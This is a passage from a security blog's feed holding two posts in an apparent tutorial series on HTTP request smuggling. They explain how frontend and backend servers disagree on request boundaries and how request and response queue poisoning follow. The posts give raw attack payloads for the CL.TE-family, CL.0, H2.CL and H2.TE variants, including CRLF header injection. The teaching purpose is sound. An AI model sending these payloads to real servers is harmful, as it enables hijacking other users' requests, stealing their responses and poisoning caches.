<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/2c98a629-1492-4c46-8de6-fa3014710b0a.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Client #2:</strong> a second user sends a normal request, which the frontend forwards over the same pooled backend connection.</p>
<p><strong>Frontend:</strong> it forwards Client #2's request normally, unaware that unread bytes are already sitting in the backend's receive buffer.</p>
<p><strong>Backend:</strong> parsing resumes from the leftover bytes first. The buffered <code>GET /otherPage</code> request is processed before Client #2's request, causing the attacker's smuggled request to steal the next position in the request queue.</p>
<p><strong>Response to Client #2:</strong> the frontend receives responses in an order it does not expect. Depending on how the desynchronization unfolds, the victim may receive a response intended for the smuggled request, enabling cache poisoning, session confusion, and other downstream attacks.</p>
<blockquote>
<p>The CL.TE and TE.CL variants establish the core desynchronization mechanics. With that foundation in place, the remaining variants can be understood as different ways of creating the same leftover-byte condition.</p>
</blockquote>
<h2>Parsing disagreement: TE.TE</h2>
<hr />
<p>Unlike CL.TE and TE.CL, the disagreement is not caused by the presence of two competing framing headers. Both servers receive the same <code>Transfer-Encoding</code> header; the desynchronization appears because they parse that header differently.</p>
<p>The trick is to obfuscate the <code>Transfer-Encoding</code> header so that exactly one of the two servers fails to recognize it and silently falls back to <code>Content-Length</code>. Once only one side is still doing chunked parsing, you are back in familiar territory:</p>
<ul>
<li><p>Frontend honors TE, backend falls back to CL → a TE.CL desync.</p>
</li>
<li><p>Frontend falls back to CL, backend honors TE → a CL.TE desync.</p>
</li>
</ul>
<p>Which side you fool (and therefore which desync you get) is target-specific and has to be found by testing. Per RFC 9112 §6.3, a message that carries both <code>Content-Length</code> and <code>Transfer-Encoding</code> ought to be handled as an error; an intermediary that chooses to forward it MUST first strip the <code>Content-Length</code> and process the <code>Transfer-Encoding</code>. But real deployments disagree on how they parse a <em>malformed</em> TE header, and that disagreement is exactly what TE.TE weaponizes.</p>
<p><strong>Common obfuscations.</strong> Each of these keeps the header valid for a lenient parser while tripping a stricter one (or vice versa):</p>
<table>
<thead>
<tr>
<th>Obfuscation</th>
<th>Why parsers disagree</th>
</tr>
</thead>
<tbody><tr>
<td>Duplicate TE headers</td>
<td>Different precedence rules</td>
</tr>
<tr>
<td>Invalid whitespace</td>
<td>Different syntax tolerance</td>
</tr>
<tr>
<td>Bare LF</td>
<td>Different line-ending handling</td>
</tr>
<tr>
<td>Non-standard values</td>
<td>Different transfer-coding validation</td>
</tr>
</tbody></table>
<p><strong>Suppose we test the duplicate-header technique</strong>. We find that the frontend uses the first <code>Transfer-Encoding</code> header (<code>chunked</code>), while the backend uses the second (<code>cow</code>). The frontend therefore treats the request as chunked, but the backend rejects the unknown transfer coding and falls back to <code>Content-Length</code>. That produces a TE.CL desynchronization:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/f4bd69eb-57dd-47ab-9796-3839a9467ea5.png" alt="" style="display:block;margin:0 auto" />

<h3>Crafting the TE.TE (→ TE.CL) payload</h3>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: cow\r\n
\r\n
35\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x\r\n
0\r\n
\r\n
</code></pre>
<blockquote>
<p><strong>Byte check.</strong> The obfuscation lives entirely in the header block, so the body math is identical to the TE.CL section.</p>
</blockquote>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a5e0aa85-adc6-4767-91a8-09c0fe9ce180.png" alt="" style="display:block;margin:0 auto" />

<p>In this example, the duplicate <code>Transfer-Encoding</code> headers act as the obfuscation primitive. The frontend resolves the ambiguity by using the first value (<code>chunked</code>) and therefore treats the request as chunked. The backend resolves the duplicate headers differently, uses the second value (<code>cow</code>), rejects it as an unknown transfer coding, and falls back to <code>Content-Length</code>.</p>
<p>Once that disagreement has been established, the situation effectively degenerates into a TE.CL desynchronization: the frontend consumes the request as chunked, while the backend determines message boundaries using <code>Content-Length</code>. The subsequent buffering and request-splicing behavior is therefore identical to the TE.CL variant discussed earlier.</p>
<h3>Next request hijacked</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d05136ab-f821-4d7e-8201-ae651a737c9f.png" alt="" style="display:block;margin:0 auto" />

<h2>Parsing disagreement: CL.0</h2>
<hr />
<p>CL.0 is not a protocol-level ambiguity. It relies on implementation-specific behavior where the backend incorrectly assumes a request has no body and therefore ignores the <code>Content-Length</code> header.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/aa6bf423-b843-465f-9945-d1e2097d84e9.png" alt="" style="display:block;margin:0 auto" />

<p>Here, the frontend honors <code>Content-Length</code> and forwards the request body normally, but the backend incorrectly treats the request as having a zero-length body. This can occur when:</p>
<ul>
<li><p>request bodies are ignored for certain HTTP methods;</p>
</li>
<li><p>a static-file handler never attempts to read a request body;</p>
</li>
<li><p>application logic assumes a particular endpoint cannot receive one.</p>
</li>
</ul>
<p>As a result, the backend stops processing immediately after the headers and leaves the body unread in the connection buffer. Those unread bytes become the same kind of leftover tail described in Part 1: attacker-controlled data stranded on a reused backend connection.</p>
<h3>Crafting the CL.0 payload</h3>
<pre><code class="language-plaintext">POST /static.js HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 53\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x
</code></pre>
<blockquote>
<p>Byte count:</p>
<pre><code class="language-plaintext">GET /otherPage HTTP/1.1\r\n → 25
Content-Length: 20\r\n      → 20
\r\n                        →  2
test=x                     →  6
= 53 bytes
</code></pre>
</blockquote>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/467d3902-d434-4f0a-b72b-d96a9901cc23.png" alt="" style="display:block;margin:0 auto" />

<p>In this example, the frontend honors <code>Content-Length: 53</code> and forwards the entire 53-byte body. The backend, however, treats the request as bodyless, considers it complete immediately after the headers, and returns a response without consuming the body. The unread bytes are left queued on the persistent backend connection, where they become the beginning of the next request and are parsed as the smuggled <code>GET /otherPage</code> request.</p>
<h3>Next request hijacked</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a11f44b5-d1dc-43bc-8dbc-1bc9a232990a.png" alt="" style="display:block;margin:0 auto" />

<h2>Downgrade issue: H2.CL</h2>
<hr />
<p>From here on, the frontend speaks HTTP/2 and downgrades to HTTP/1.1 to reach the backend. This matters because, in HTTP/2, a message's length is defined by its framing (the payload of the DATA frames), not by a header. <code>Content-Length</code> in HTTP/2 is only a consistency check: if it disagrees with the actual DATA-frame length, the message is malformed, and a conformant endpoint MUST treat it as a stream error (<code>PROTOCOL_ERROR</code>) rather than process it (RFC 9113 §8.1.1). H2.CL occurs when a frontend accepts an HTTP/2 request whose <code>Content-Length</code> does not match the actual DATA-frame payload, then copies that incorrect value into the downgraded HTTP/1.1 request instead of rejecting or correcting it.</p>
<p>This is downgrade-related misbehavior: a compliant HTTP/2 frontend would reject the request as malformed instead of forwarding it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/21662730-ce30-45b4-a4c8-f0d5052e45b3.png" alt="" style="display:block;margin:0 auto" />

<h3>Crafting the H2.CL payload</h3>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: example.com\r\n
Content-Length: 5\r\n
\r\n
x=1\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x
</code></pre>
<blockquote>
<p><strong>Byte check.</strong> This is a single HTTP/2 request. The smuggled request is not a separate message — it is placed inside the body (the DATA frames) of this one request. The frontend sees only one stream; the split into two requests happens on the backend after the downgrade. (<code>x=1\r\n</code> = 5 bytes, matching <code>Content-Length</code>.)</p>
</blockquote>
<p>The <code>POST / HTTP/2</code> request line and the <code>\r\n</code>-delimited headers above are only a human-readable representation. On the wire, HTTP/2 is binary-framed and uses pseudo-headers (<code>:method</code>, <code>:path</code>, <code>:authority</code>) with no request-line and no CRLFs — the framing is what defines message length here.</p>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/e77a64be-524c-4429-b36c-01271eb0b3d9.png" alt="" style="display:block;margin:0 auto" />

<p>The desync is introduced during protocol translation. The frontend receives a framed HTTP/2 request, but the backend ultimately processes a downgraded HTTP/1.1 byte stream.</p>
<p>In this example, the frontend converts the HTTP/2 request into HTTP/1.1 while preserving the attacker-supplied <code>Content-Length: 5</code>. The backend trusts that length and consumes only the first five bytes of the body, treating the request as complete. The remaining bytes are left queued on the persistent backend connection, where they become the start of a new request and are parsed as the smuggled <code>GET /otherPage</code> request.</p>
<h3>Next request hijacked</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/50eba1f4-45a2-4f28-89ca-705c2e6dc28d.png" alt="" style="display:block;margin:0 auto" />

<h2>Downgrade issue: H2.TE</h2>
<hr />
<p>The same downgrade setup, but the backend honors <code>Transfer-Encoding</code>. The key detail is that <code>Transfer-Encoding</code> is prohibited in HTTP/2: it is a connection-specific header that must not appear in an HTTP/2 message (RFC 9113 §8.2.2; the only related token allowed is <code>TE: trailers</code>). H2.TE exists precisely because the frontend fails to strip or reject this illegal header before downgrading, and the HTTP/1.1 backend then obeys it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a032d1e6-0a6d-4564-9c10-9e48cca30cb2.png" alt="" style="display:block;margin:0 auto" />

<h3>Crafting the H2.TE payload</h3>
<pre><code class="language-plaintext">POST / HTTP/2\r\n
Host: example.com\r\n
transfer-encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /otherPage HTTP/1.1\r\n
Content-Length: 20\r\n
\r\n
test=x
</code></pre>
<blockquote>
<p><strong>Byte check.</strong> As in H2.CL, this is one HTTP/2 request: the smuggled request lives inside its DATA frames. The split occurs only after the downgrade to HTTP/1.1.</p>
</blockquote>
<h3>Smuggling the hidden request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/091ae9ab-b835-4075-97ba-cb97e11c0181.png" alt="" style="display:block;margin:0 auto" />

<p>The key distinction in this variant is that the desynchronization stems from an HTTP/2-to-HTTP/1.1 downgrade that incorrectly preserves a header forbidden by HTTP/2. A compliant frontend should reject or remove <code>Transfer-Encoding</code>, but the vulnerable frontend forwards it to the backend during translation.</p>
<p>In this example, the backend receives <code>Transfer-Encoding: chunked</code> and therefore determines request boundaries using chunked encoding. By placing a terminating chunk (<code>0\r\n\r\n</code>) at the start of the body, the attacker controls where the backend believes the request ends. Any remaining bytes stay queued on the persistent backend connection, where they become the beginning of a new request and are parsed as the smuggled <code>GET /otherPage</code> request.</p>
<h3>Next request hijacked</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/ffee53d9-9c15-43c6-b8cd-274e26eb9c4b.png" alt="" style="display:block;margin:0 auto" />

<h4><strong>H2.TE — CRLF injection variant</strong></h4>
<p>The H2.TE variant we've covered works when <code>Transfer-Encoding</code> survives the downgrade intact. But a more subtle form exists when the frontend attempts to strip <code>Transfer-Encoding</code> entirely.</p>
<p>HTTP/2 header values are length-prefixed byte sequences—they can contain any octet, including literal CR (0x0D) and LF (0x0A) characters. When a lenient downgrade concatenates an HTTP/2 header name and value without validating or escaping control characters, those CR/LF bytes become line delimiters in the HTTP/1.1 output.</p>
<p>An attacker can embed a new header inside a header value:</p>
<p><strong>HTTP/2 request (single header):</strong></p>
<pre><code class="language-plaintext">foo: bar\r\ntransfer-encoding: chunked
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/c8be245d-5890-4037-bebd-fe632dc83990.png" alt="" style="display:block;margin:0 auto" />

<p>The frontend sees only a harmless <code>foo</code> header. The backend, after downgrade, sees both <code>foo</code> and <code>transfer-encoding: chunked</code>—the latter appearing from nowhere. The backend then processes the body using chunked framing, triggering the same CL.TE-style desynchronization.</p>
<p>This variant bypasses a frontend that explicitly strips <code>Transfer-Encoding</code> headers <em>before</em> downgrading. The injection happens <em>during</em> the downgrade when control characters in header values aren't escaped.</p>
<h2>Summary: the six types of request smuggling</h2>
<hr />
<p>To wrap up, here is a visual summary of the different request smuggling techniques covered in this article. Each diagram illustrates the full workflow for each type.</p>
<h3>CL.TE</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/6a369eea-9741-48c6-9923-575cbfc1a0c6.png" alt="" style="display:block;margin:0 auto" />

<h3>TE.CL</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d5b52a5b-bae7-4625-8d8d-5bb65a11a70c.png" alt="" style="display:block;margin:0 auto" />

<h3>TE.TE ( →TE.CL)</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0a7441b3-8b38-49a1-b9cf-2c6126883361.png" alt="" style="display:block;margin:0 auto" />

<h3>CL.0</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/ea59eae3-5791-47dd-9543-af9f5ecbac19.png" alt="" style="display:block;margin:0 auto" />

<h3>H2.CL</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/c29c3e8c-1840-4b12-aeba-363233cdc7f6.png" alt="" style="display:block;margin:0 auto" />

<h3>H2.TE</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/1ab82fe2-0212-4adb-911f-b09718a4b299.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>We've seen that HTTP Request Smuggling is a family of desync attacks built on one shared flaw: a frontend and backend reusing a connection while disagreeing on where a request ends. That disagreement takes three forms — header disagreement (CL.TE, TE.CL), parsing disagreement (TE.TE, CL.0), and downgrade issues (H2.CL, H2.TE) — but the payoff is always the same: one user's request gets stitched onto an attacker's leftover bytes.</p>
<p>In the next post, we'll take a closer look at how to spot request smuggling vulnerabilities.</p>
]]></content:encoded></item><item><title><![CDATA[HTTP Request Smuggling Part 1]]></title><description><![CDATA[Introduction

HTTP Request Smuggling is one of the most fascinating web vulnerabilities because it exploits disagreements between web servers rather than flaws in application code.
Modern applications]]></description><link>https://blog.cain.tech/http-request-smuggling-part-1</link><guid isPermaLink="true">https://blog.cain.tech/http-request-smuggling-part-1</guid><dc:creator><![CDATA[Olivia Pace]]></dc:creator><pubDate>Tue, 14 Jul 2026 13:36:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a325b46e7bad03724fd2cb6/7c9d8d13-a91b-4165-a767-7ab312cee051.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<hr />
<p>HTTP Request Smuggling is one of the most fascinating web vulnerabilities because it exploits disagreements between web servers rather than flaws in application code.</p>
<p>Modern applications are usually deployed behind reverse proxies, load balancers, CDNs, and WAFs, but these components do not always interpret HTTP requests the same way. By exploiting these parsing inconsistencies, an attacker can "smuggle" a hidden request through the frontend server, causing the backend server to process unexpected data.</p>
<p>This article explains how HTTP Request Smuggling works, why it happens, and how a request comes to be smuggled.</p>
<h2>Why does Request Smuggling exist?</h2>
<hr />
<p>Before a user sees a response, their request typically passes through two distinct entities:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/c2b62086-094d-4d37-98ec-5de956f31b1c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>The <strong>frontend server</strong> (NGINX, HAProxy, Cloudflare, Varnish, etc.) is the entry point. It receives requests and may perform routing, caching, rate limiting, WAF inspection, authentication checks, or other processing before forwarding traffic onward.</p>
</li>
<li><p>The <strong>backend server</strong> (Node.js, Django, Tomcat, Flask) is where the real work happens: business logic, database calls, and generation of the final response.</p>
</li>
</ul>
<p>For this pipeline to work safely, both servers must agree on exactly where one HTTP request ends and the next begins. Unfortunately, HTTP offers more than one way to express that boundary — and that's the root of the problem.</p>
<h2>How do HTTP/1.1 and HTTP/2 determine the size of a request body?</h2>
<hr />
<h3>HTTP/1.1: the size is declared in the headers</h3>
<p>In HTTP/1.1, request bodies are framed using either <code>Content-Length</code> or <code>Transfer-Encoding: chunked</code>.</p>
<p><code>Content-Length</code> specifies a fixed number of bytes that make up the body:</p>
<pre><code class="language-plaintext">Content-Length: 10\r\n
\r\n
0123456789
</code></pre>
<p><code>Transfer-Encoding: chunked</code> sends the body as a series of size-prefixed fragments, ending in a zero-length chunk:</p>
<pre><code class="language-plaintext">Transfer-Encoding: chunked\r\n
\r\n
7\r\n
1234567\r\n
0\r\n
\r\n
</code></pre>
<p>RFC 9112 §6.3 ("Message Body Length") is explicit here: if a message arrives with <em>both</em> headers, <code>Transfer-Encoding</code> takes precedence, and the combination should be treated as a possible smuggling or response-splitting attempt. An intermediary that still chooses to forward such a message must strip <code>Content-Length</code> first and frame the body using <code>Transfer-Encoding</code> alone.</p>
<p>In practice, this rule isn't followed consistently. Proxies, load balancers, and backend frameworks vary: some prioritize <code>Content-Length</code>, some prioritize <code>Transfer-Encoding</code>, and some behave differently depending on version or configuration. It's precisely this inconsistency <em>between implementations</em> — not a flaw in the spec — that opens the door to Request Smuggling.</p>
<h3>HTTP/2: no length header, just frames</h3>
<p>HTTP/2 removes this ambiguity by design. The connection is binary and framed: every frame carries its own explicit length field, so the receiver always knows exactly how many bytes belong to that frame — no guessing. A stream's body ends when a <code>DATA</code> frame arrives with the <code>END_STREAM</code> flag set, not because a counted byte value happened to match.</p>
<p>The classic CL.TE / TE.CL ambiguity simply doesn't exist inside a pure, end-to-end HTTP/2 connection, because message boundaries are defined by frames rather than by competing headers. Most HTTP/2-related smuggling instead arises during <strong>translation</strong> between HTTP/2 and HTTP/1.1.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/6312a9ec-ca17-48f3-9b45-b11874c4fbb8.png" alt="" style="display:block;margin:0 auto" />

<p>This translation is extremely common in real deployments: the frontend terminates the client's HTTP/2 connection, then downgrades to HTTP/1.1 to talk to a backend that doesn't speak HTTP/2 natively. That means HTTP/2's binary framing only protects the client ↔ frontend leg. The moment the frontend rewrites the request into HTTP/1.1 syntax to forward it, all of HTTP/1.1's classic length ambiguity comes back — just relocated to the frontend-to-backend hop instead of the client-to-frontend one.</p>
<blockquote>
<p><strong>Note:</strong> Downgrading from HTTP/2 to HTTP/1.1 does not automatically create a vulnerability. Desynchronization arises only when the translation process or request parsing logic causes the frontend and backend to disagree on request boundaries.</p>
</blockquote>
<h2>Where do the leftover bytes go?</h2>
<hr />
<p>Once a desynchronization occurs, the outcome depends on how the smuggled request is framed.</p>
<p>If the smuggled request is complete and self-contained, the backend has no reason to wait. It parses the smuggled request as a genuine second request and generates a second response. That extra response is what pushes the connection out of alignment, creating the <strong>response queue poisoning</strong> path discussed later.</p>
<p>If the smuggled request is incomplete — missing its final <code>\r\n\r\n</code>, or declaring more body bytes than it actually sends — the backend parser stalls mid-read, still waiting for data the attacker never provided. When the next request arrives on the same connection, the backend treats it as the missing data and merges the two requests together. This is the <strong>request queue poisoning</strong> path, and it's the one we'll focus on first.</p>
<p>Both outcomes begin the same way: attacker-controlled bytes are left stranded on a reused connection. The difference is what remains unresolved. In the complete case, the backend generates an extra response that has nowhere to go. In the incomplete case, the backend waits for more request data and eventually consumes part of the next user's request.</p>
<p>That raises an obvious question: once those leftover bytes exist, where do they physically sit?</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/47f89b09-43d5-40b2-9548-b0e314dca2a3.png" alt="" style="display:block;margin:0 auto" />

<p>On that reused connection, the leftover bytes may reside in one of two places — or be split across both.</p>
<p>The first is the <strong>kernel socket receive buffer</strong> — the TCP receive queue for that file descriptor (fd). The frontend has already written those bytes onto the wire, so the kernel holds them as unread payload, visible as <code>recv-q</code> on the socket.</p>
<p>The second is the backend's <strong>userspace parser buffer</strong>. If the backend's <code>recv()</code> pulled in more bytes than it needed to finish the current request, the surplus sits in the application's own read buffer while the parser pauses, waiting for the rest of what it still believes is an unfinished request.</p>
<p>Which buffer holds the tail depends on how greedily the backend reads, but the point is the same either way: this is per-connection state, not a global queue. The bytes are pinned to that one TCP connection and stay there until the next <code>read()</code> on that same socket — precisely when the next legitimate request arrives and gets appended right behind them.</p>
<p>That is why keep-alive and connection reuse are mandatory: close the connection after the first request and the buffered tail is simply discarded, with no follow-up request for it to attach to.</p>
<p>And for that tail to capture the victim rather than just sit there, the smuggled request has to leave the parser expecting <em>more of the same kind of data the victim will supply</em> — more header text, or more body bytes. Which of the two it waits for is exactly what separates the two techniques we turn to next.</p>
<h2>Request Queue Poisoning: Swallowing the next user's request</h2>
<hr />
<h3>Request Queue Poisoning Mechanism</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/4b793663-cab3-4ddd-9582-aaec9a329c32.png" alt="" style="display:block;margin:0 auto" />

<p>There are two common ways to leave the parser expecting more data. Both work by convincing the backend that the smuggled request isn't finished, so it keeps reading from the shared connection — and what it reads next is the victim's request.</p>
<h3>Content-Length mismatch</h3>
<p>The smuggled request declares a <code>Content-Length</code> larger than the body it actually sends. The parser enters "read N bytes of body" mode and keeps pulling bytes until it reaches that count — swallowing the next client's request as if it were body content.</p>
<p>Smuggled request, waiting to be completed:</p>
<pre><code class="language-plaintext">POST /otherPage HTTP/1.1\r\n
Content-Length: 41\r\n
\r\n
test=x
</code></pre>
<p>The same request once the next client's traffic arrives on the connection:</p>
<pre><code class="language-plaintext">POST /otherPage HTTP/1.1\r\n
Content-Length: 41\r\n
\r\n
test=xGET / HTTP/1.1\r\n
Host: example.com\r\n
</code></pre>
<p>The declared length is deliberately larger than the body actually sent (<code>test=x</code>). That gap <em>is</em> the mechanism: the parser keeps reading until it hits the declared byte count, and the surplus gets filled by the next request's bytes. In practice the length is tuned precisely to capture the portion of the victim's request the attacker wants. A <code>POST</code> is generally more reliable than a <code>GET</code> for the smuggled request, because some implementations ignore or discard GET request bodies entirely.</p>
<h3>Dangling header (<code>X-Ignore</code>)</h3>
<p>The smuggled request is cut off mid-header, missing the final <code>\r\n\r\n</code> that normally closes the header section. The parser believes it's still reading a header value, so the next client's request line gets absorbed as part of it instead of being parsed as a new request.</p>
<p>Smuggled request, waiting to be completed:</p>
<pre><code class="language-plaintext">GET /otherPage HTTP/1.1\r\n
X-Ignore: x
</code></pre>
<p>Once the next request arrives:</p>
<pre><code class="language-plaintext">GET /otherPage HTTP/1.1\r\n
X-Ignore: xGET / HTTP/1.1\r\n
Host: example.com\r\n
</code></pre>
<h3><strong>Why connection reuse is required</strong></h3>
<p>Persistent, reused connections mean multiple clients' requests travel over the same TCP stream, and request boundaries are just parsing rules — CRLF-terminated headers, or byte-counted bodies — that can be manipulated independently. Leaving either the header or the body "open" achieves the same result.</p>
<p>Once the victim's request is swallowed, the backend treats <em>attacker headers + victim data</em> as a single logical request and produces a single response for it.</p>
<h2>Response Queue Poisoning: how to steal another user's response</h2>
<hr />
<h3>Response Queue Poisoning Mechanism</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0923fc68-b97f-4132-8f8e-461b50299b8c.png" alt="" style="display:block;margin:0 auto" />

<p>Request Smuggling doesn't only desynchronize the <em>request</em> queue. Once the frontend and backend disagree on how many requests share a connection, they also disagree on which <em>response</em> belongs to which request. This is <strong>Response Queue Poisoning (RQP)</strong>, also known as response desynchronization.</p>
<p>RQP is the mirror image of swallowing. There, the smuggled request was left <em>incomplete</em> so it would absorb the victim's request — two requests on the wire collapse into one at the backend, producing a single response. Here, the smuggled request is <strong>complete and self-contained</strong>, so the backend parses it as a genuine second request and emits a second response. Swallowing removes a response from the queue; RQP adds a surplus one — and that surplus is what pushes the queue out of alignment.</p>
<h3>How it happens</h3>
<p>Start from a backend connection that's already desynchronized. The attacker sends what the frontend counts as a single request, but the backend parses as two:</p>
<pre><code class="language-plaintext">Request 1
└── Smuggled Request (self-contained)
</code></pre>
<p>The frontend expects one response. The backend produces two:</p>
<pre><code class="language-plaintext">Response 1   ← returned to the attacker, as expected
Response 2   ← left queued on the connection, orphaned
</code></pre>
<p>The frontend forwards Response 1 and considers the exchange complete. Response 2 has no request waiting for it — from this point on, every response delivered over that connection is one position ahead of the request the frontend thinks it belongs to.</p>
<h3>The shifted queue</h3>
<p>When the next client sends a request, the frontend pairs it with whatever comes next off the connection — the orphaned response, not its own:</p>
<table>
<thead>
<tr>
<th>Request on the wire</th>
<th>Response the frontend hands back</th>
</tr>
</thead>
<tbody><tr>
<td>Victim's request</td>
<td>Response 2 — from the attacker's smuggled request</td>
</tr>
<tr>
<td>Attacker's next request</td>
<td>Response 3 — the victim's actual, authenticated response</td>
</tr>
<tr>
<td>Next client's request</td>
<td>Response 4 — meant for the attacker's request above</td>
</tr>
</tbody></table>
<p>The frontend can't detect the mismatch; it simply forwards responses in arrival order, and the offset persists until the connection resets.</p>
<p>The critical row is the second one: <strong>the attacker's own request returns the victim's response</strong> — potentially authenticated content from a session that should never have left the victim's account.</p>
<h3>Impact</h3>
<p>Depending on what the smuggled request targets, RQP can lead to:</p>
<ul>
<li><p>Disclosure of another user's data and authenticated content</p>
</li>
<li><p>Session confusion</p>
</li>
<li><p>Delivery of attacker-controlled content to arbitrary users</p>
</li>
<li><p>Cache poisoning</p>
</li>
<li><p>Account takeover, where responses expose sensitive tokens or session state</p>
</li>
</ul>
<p>The exact outcome depends on the frontend's connection-management strategy: some frontends detect the unexpected response, some close the connection immediately, and some recycle it and let the desync propagate.</p>
<h3>Why connection reuse is required</h3>
<p>Like request queue poisoning, RQP depends on persistent backend connections. The orphaned response is bound to one specific connection, so the attack only works if later requests keep landing on that same connection. Without reuse, the backend closes the connection after the first request, the extra response is discarded, and the desync never propagates.</p>
<h2>Bypassing frontend and WAF protections</h2>
<hr />
<p>As Request Smuggling became better understood, frontends and WAFs added defenses: rejecting requests carrying both <code>Content-Length</code> and <code>Transfer-Encoding</code>, normalizing headers, and blocking malformed requests.</p>
<p>But these protections are themselves implemented by HTTP parsers, and a WAF can only enforce rules based on how <em>it</em> interprets a request. If the backend reads the same bytes differently, the two can still desynchronize. A header that looks harmless to one parser may mean something else to another; a request the frontend considers complete may look incomplete to the backend.</p>
<p>Security devices aren't immune to the parser disagreements that make Request Smuggling possible — they're just another component that can be confused. The specific bypass techniques vary by implementation and protocol, but the underlying principle holds: <strong>wherever two HTTP components disagree about how to interpret a request, desynchronization becomes possible.</strong></p>
<h2>Summary</h2>
<hr />
<p>Everything in Request Smuggling ultimately comes down to one fact: HTTP is a stream protocol layered on top of TCP. The frontend and backend do not exchange "requests"; they exchange bytes. A request only exists once a parser decides where it begins and ends. Whenever two components draw those boundaries differently, desynchronization becomes possible.</p>
<table>
<thead>
<tr>
<th>Concept</th>
<th>Key Idea</th>
</tr>
</thead>
<tbody><tr>
<td>Request framing</td>
<td>Defines where a request ends</td>
</tr>
<tr>
<td>Desynchronization</td>
<td>Frontend and backend disagree on framing</td>
</tr>
<tr>
<td>Connection reuse</td>
<td>Required for smuggling to work</td>
</tr>
<tr>
<td>Request queue poisoning</td>
<td>Victim request is absorbed</td>
</tr>
<tr>
<td>Response queue poisoning</td>
<td>Victim receives the wrong response</td>
</tr>
<tr>
<td>HTTP/2</td>
<td>Safe end-to-end, but downgrading can reintroduce ambiguity</td>
</tr>
</tbody></table>
<p>Now that we've covered <em>why</em> servers can disagree on request boundaries, Part 2 will break down the classic classification of attacks — CL.TE, TE.CL, TE.TE, CL.0, and the HTTP/2 variants — and show how each one exploits a different trust mismatch between frontend and backend.</p>
]]></content:encoded></item></channel></rss>